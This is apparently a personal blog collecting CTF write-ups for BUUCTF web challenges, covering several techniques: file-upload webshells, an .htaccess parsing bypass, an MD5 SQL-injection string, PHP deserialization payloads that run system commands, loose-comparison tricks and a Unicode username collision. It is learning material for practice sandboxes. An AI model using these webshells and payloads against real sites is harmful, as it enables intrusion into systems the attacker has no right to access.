在BUU做过的一些题
前言:
基本上每天都会更新一到三道题目,大部分题目来源于BUUCTF,部分题目由于自身知识水平有限,借鉴了师傅们的文章,如有侵权,可以联系我删除。
2017-赛客夏令营-Web-Uploadddd
我们进入题目发现是文件上传框。我们直接上传一句话木马。提示上传成功

但是没有上传路径,我以为是开发者虚晃我的。
我接着上传了正常的jpg文件,还是提示上传成功且没有路径。
我们就开始找上传路径,可以直接使用dirmap,然后找到了一个index.php.swp.文件。
使用vim打开,可以看到代码
<?php
if (isset($_POST['submit'])){
$file_path = "uploads/";
$file_name = date("YmdHis") . rand(0,999) . ".php";
move_uploaded_file($_FILES["file"]["tmp_name"], $file_path . $file_name);
echo "上传成功!";
}
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Web03</title>
</head>
<body>
<form action="index.php" method="post" enctype="multipart/form-data">
<input type="file" name='file'>
<input type="submit" name="submit" value="上传" />
</form>
</body>
</html>
代码审计这一段
<?php
if (isset($_POST['submit'])){
$file_path = "uploads/";
$file_name = date("YmdHis") . rand(0,999) . ".php";
move_uploaded_file($_FILES["file"]["tmp_name"], $file_path . $file_name);
echo "上传成功!";
}
?>
可以看到v上传的路径为 uploads下的文件名为上传的时间加上随机数和php后缀
python脚本暴破
from requests import *
info = ''
for i in range(0,1000):
url = 'http://challenge-93448b82e03a3bab.sandbox.ctfhub.com:10800/uploads/20230117122037' + str(i) + '.php'
resp = get(url)
print(url+"----"+str(resp.status_code))
if resp.status_code == 200:
break

找到文件上传路径。
连接蚁剑得到flag

[BJDCTF2020]Easy MD5
首先我们只看到了一个输入框,就没有其他的信息了。我们随便输入数据。然后配合burp抓包处理。然后通过我们的观察(仔细观察)可以看到有一个存在hint模块的地方

这里就是将数据带入进去了
然后我们在输入框输入万能密码ffifdyop
这是关于一个md5方面的万能密码,我们可以通过这篇博客得到了解
https://www.cnblogs.com/tqing/p/11852990.html
这里我们可以看到一个新的界面

然后我们查看页面源代码

这里又用到了我们的MD5碰撞与弱口令。
构建参数a=s878926199a&b=s155964671a成功进入了下一个界面
然后我们又可以看到一个新的界面

这里就直接把源码给我们了。我们可以直接在这里搞一个数组绕过就可以了。网上很多博客讲的都是用 hackber但是我那个插件一直都没有配置好,所以我这里用的是burp进行操作。原理一样
我们还是发送到repeater模块然后改变请求方式
最后发送就可以了。

[网鼎杯 2020 朱雀组]phpweb1
我们进入题目链接的靶场,发现网页一直在刷新。题目带有 php 感觉会和代码审计有关系。
查看源代码,也没有发现什么提示,但是看到两个变量。
<!DOCTYPE html>
<html>
<head>
<title>phpweb</title>
<style type="text/css">
body {
background: url("bg.jpg") no-repeat;
background-size: 100%;
}
p {
color: white;
}
</style>
</head>
<body>
<script language=javascript>
setTimeout("document.form1.submit()",5000)
</script>
<p>
<br />
<b>Warning</b>: date(): It is not safe to rely on the system's timezone settings. You are *required* to use the date.timezone setting or the date_default_timezone_set() function. In case you used any of those methods and you are still getting this warning, you most likely misspelled the timezone identifier. We selected the timezone 'UTC' for now, but please set date.timezone to select your timezone. in <b>/var/www/html/index.php</b> on line <b>24</b><br />
2023-01-18 01:58:00 am</p>
<form id=form1 name=form1 action="index.php" method=post>
<input type=hidden id=func name=func value='date'>
<input type=hidden id=p name=p value='Y-m-d h:i:s a'>
</body>
</html>
然后打开hackbar发现确实是这两个变量进行POST传输参数。

然后打开burp改变传入值。(也可以用hack bar我喜欢看一下完整的数据包)。
注意:我们在传输参数前需要分析每个变量传入的值是什么类型。func这个单词多用于定义函数。加上传入value为 date,所以猜测func需要传入的是一个函数名。p同理分析感觉传入的是一个普通的变量。
我们尝试对一个字符串进行md5加密

字符串成功被加密。
接着我们尝试ls一下目录。
func=system&p=ls,但是显示hacking,应该是被过滤掉了。
我们尝试读取一下源码
func=file_get_contents&p=php://filter/read=convert.base64-encode/resource=index.php
注意,读取出来的字符串我是经过了base64加密的,所以需要放到工具里解下密
最终源码
<!DOCTYPE html>
<html>
<head>
<title>phpweb</title>
<style type="text/css">
body {
background: url("bg.jpg") no-repeat;
background-size: 100%;
}
p {
color: white;
}
</style>
</head>
<body>
<script language=javascript>
setTimeout("document.form1.submit()",5000)
</script>
<p>
<?php
$disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk", "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");
function gettime($func, $p) {
$result = call_user_func($func, $p);
$a= gettype($result);
if ($a == "string") {
return $result;
} else {return "";}
}
class Test {
var $p = "Y-m-d h:i:s a";
var $func = "date";
function __destruct() {
if ($this->func != "") {
echo gettime($this->func, $this->p);
}
}
}
$func = $_REQUEST["func"];
$p = $_REQUEST["p"];
if ($func != null) {
$func = strtolower($func);
if (!in_array($func,$disable_fun)) {
echo gettime($func, $p);
}else {
die("Hacker...");
}
}
?>
</p>
<form id=form1 name=form1 action="index.php" method=post>
<input type=hidden id=func name=func value='date'>
<input type=hidden id=p name=p value='Y-m-d h:i:s a'>
</body>
</html>
我们发现一个函数很熟悉。
function __destruct() {
if ($this->func != "") {
echo gettime($this->func, $this->p);
}
}
在反序列化中我们知道了这个函数的应用场景。此函数会在类被销毁时调用,那我们如果反序列化一个类,在类里的参数中写上我们要执行的代码和函数,这样的话就会直接调用gettime函数,而不会执行in_array(disable_fun),那我们就绕过了黑名单的判断,func=unserialize&p=O:4:"Test":2:{s:1:"p";s:2:"ls";s:4:"func";s:6:"system";}。

成功,现在找一下flag的路径
func=unserialize&p=O:4:"Test":2:{s:1:"p";s:18:"find+/+-name+flag*";s:4:"func";s:6:"system";}

然后读取 flag

[极客大挑战 2019]PHP1
题目是php猜测于代码审计有关系。
打开地址,发现没有办法查看源代码,题目提示备份网站,根据以前的经验来看会有一个压缩包。
使用kali的 dirsearch 可以扫到一个 www.zip的压缩包 大概率就是这个(路径比较多,大家耐心找一下)
然后在后面后面加入 www.zip
成功下载,解压出来有三个php文件。
打开进行代码审计。
index.php
<?php
include 'class.php';
$select = $_GET['select'];
$res=unserialize(@$select);
?>
class.php
<?php
include 'flag.php';
error_reporting(0);
class Name{
private $username = 'nonono';
private $password = 'yesyes';
public function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
function __wakeup(){
$this->username = 'guest';
}
function __destruct(){
if ($this->password != 100) {
echo "</br>NO!!!hacker!!!</br>";
echo "You name is: ";
echo $this->username;echo "</br>";
echo "You password is: ";
echo $this->password;echo "</br>";
die();
}
if ($this->username === 'admin') {
global $flag;
echo $flag;
}else{
echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
die();
}
}
}
?>
首先看index.php的代码,发现通过GET方式传入一个 select的值,加上有一个unserialize函数,那么select的值就需要经过序列化。
头文件包含了 class.php 再阅读一下 class.php 。这段代码是输出 flag的关键。
function __destruct(){
if ($this->password != 100) {
echo "</br>NO!!!hacker!!!</br>";
echo "You name is: ";
echo $this->username;echo "</br>";
echo "You password is: ";
echo $this->password;echo "</br>";
die();
}
if ($this->username === 'admin') {
global $flag;
echo $flag;
}else{
echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
die();
}
}
通过代码审计,我们发现当输入 的password =100 且 username = admin 时,可以正常输出 flag.
编写 php序列化代码得到初步payload
<?php
class Name{
private $username = 'nonono';
private $password = 'yesyes';
public function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
}
$a = new Name('admin', 100);
echo (serialize($a));
?>
O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}
我还说真简单,我直接拿这个去得flag了,结果失败了。。。
原来是还有 wakeup()这个魔术方法,这部分的绕过还不太会,就去网上找的师傅的WP看的。
大概意思就是 属性个数的值大于实际属性个数时,会跳过 __wakeup()函数的执行
就只需要将 序列化后的值改成这样就可以了
O:4:"Name":3:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}
师傅还指出我的一个问题,就是 private 声明的字段为私有字段,只在所声明的类中可见。
- private声明的字段为私有字段,只在所声明的类中可见,在该类的子类和该类的对象实例中均不可见。
- 因此私有字段的字段名在序列化时,类名和字段名前面都会加上\0(即%00)的前缀。字符串长度也包括所加前缀的长度。
O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}
然后通过GET传入select 的值。

得到 flag。
这道题是一道反序列化的题目难点在于绕过wakeup函数,后来通过看 网上师傅的绕过方式,才知道绕过方式。后面的私钥主要就是考的细心和知识的广度了。
[MRCTF2020]你传你🐎呢1
一道简单的文件上传题目,本来不想写的,但是还是写一下吧,可以加深一下对htacss文件的理解
首先是一个文件上传框,我们直接上传一句话木马 shell.php 文件。发现无法正常上传。猜测会不会是前端或者MIME验证。发现还是无法正常上传php文件。那么就考虑用htacss配置文件。
上传.htacss 文件。文件里的内容如下
<FilesMatch "666.png">
SetHandler application/x-httpd-php
</FilesMatch>
这个文件的作用就是将png解析为php
然后php抓包 MIME绕过。将 content-type 字段改为 image/png (其他合法的也可以。)
发现成功上传。

上传 666.png 文件,文件里写入一句话木马。
<?php @eval($_POST['shell']);?>
成功上传。

需要注意的是 文件上传后的路径不是直接在 url后粘贴回显的路径,而是从 upload 开始
比如我的路径应该是
/upload/7b2b7b4e1be01f2bcbfdda21046f83a6/666.png
拼接在url后发现并没有报错。
然后连接蚁剑 找到 flag

[极客大挑战 2019]BuyFlag1
这道题主要是伪造数据包。
进入环境后,点击菜单 发现一个 payflag,点进去发现一系列的要求 (虽然全是英文,但是我大概还是看懂了。)

大概意思就是 需要验证我的身份是不是CUIT(成信大 ) 的学生 然后要输入正确的password 。但是这些信息还是有限 ,我们查看下源码。
发现一段被注释掉的代码。

代码分析
需要通过POST传入 money 和 password 的值。
password 有一个弱类型匹配绕过
if (isset($_POST['password'])) {
$password = $_POST['password'];
if (is_numeric($password)) {
echo "password can't be number</br>";
}elseif ($password == 404) {
echo "Password Right!</br>";
}
}
绕过分析
money这里,我没有找到提示信息,大概应该是在后面输入金钱的数额。这里我先直接输的一千万。
还有一个password 关于这个弱类型匹配绕过网上有很多博客讲解的,这里我是直接在设为 404aaaaa
payload
password=404aaaaa&money=10000000
抓取数据包 发现 cookie 有一个 user 默认为0 根据逻辑绕过的一些知识,猜测这里可能是验证成信大学生的地方。
一般 1为真 0为假。将值改为1
然后注意的是 请求方式修改为 POST 最后传递参数 发包

返回数值太长。
用科学计数法尝试一下。

成功得到 flag
这道题考的还是比较简单,难点在于php的弱类型匹配绕过。
[HCTF 2018]admin1
前言:
今天是大年三十一但是还是不可以忘记学习,哈哈哈。
我们进入环境后,会看到有注册和登录框,我们尝试注册一个账号。然后进行登录

然后查看下点击不同的选项,然后查看源代码。

在当前页面查看源代码,发现提示,代表着可能想得到flag需要通过admin进行登录。

在更改密码的界面查看,发现github的一个网址。打开链接下载源码。
代码审计 ,这道题的解法有很多 很多都是通过伪造session的方法做的,但是对于新手来说,有点麻烦,我在这里介绍一种最简单的方法
unicode编码覆盖绕过
审计route.py
@app.route('/register', methods = ['GET', 'POST'])
def register():
if current_user.is_authenticated:
return redirect(url_for('index'))
form = RegisterForm()
if request.method == 'POST':
name = strlower(form.username.data)
if session.get('image').lower() != form.verify_code.data.lower():
flash('Wrong verify code.')
return render_template('register.html', title = 'register', form=form)
if User.query.filter_by(username = name).first():
flash('The username has been registered')
return redirect(url_for('register'))
user = User(username=name)
user.set_password(form.password.data)
db.session.add(user)
db.session.commit()
flash('register successful')
return redirect(url_for('login'))
return render_template('register.html', title = 'register', form = form)
@app.route('/login', methods = ['GET', 'POST'])
def login():
if current_user.is_authenticated:
return redirect(url_for('index'))
form = LoginForm()
if request.method == 'POST':
name = strlower(form.username.data)
session['name'] = name
user = User.query.filter_by(username=name).first()
if user is None or not user.check_password(form.password.data):
flash('Invalid username or password')
return redirect(url_for('login'))
login_user(user, remember=form.remember_me.data)
return redirect(url_for('index'))
return render_template('login.html', title = 'login', form = form)
def strlower(username):
username = nodeprep.prepare(username)
return username
在login和register函数中,均对传参username进行了strlower处理,查看下面的函数,是对username调用函数nodeprep.prepare进行处理,unicode转化,而nodeprep是从Twisted模块导入的,在requirements.txt文件中发现Twisted==10.2.0,与最新版本差距很大,
注册和登录各调用了一次这个函数,我们倒着进行推算,要使传进去的值服务器识别成admin,
函数的作用是将大写转化为小写
但它同时会将unicode字符ᴬ转换成A,而A再调用一次nodeprep.prepare函数会把A转换成a,
所以我们只需要注册一个新的用户 用户名为 ᴬdmin 然后登录进去发现为Admin

然后修改密码
然后用admin账户名和修改后的密码进行登录,可以得到flag。

这道题虽然用这种方法可以轻松获得flag但是想完全理解还是需要自己下来花时间去理解。
这里推荐一下这道题的其他解法的博客
https://blog.csdn.net/weixin_44214568/article/details/123454960
https://www.anquanke.com/post/id/164086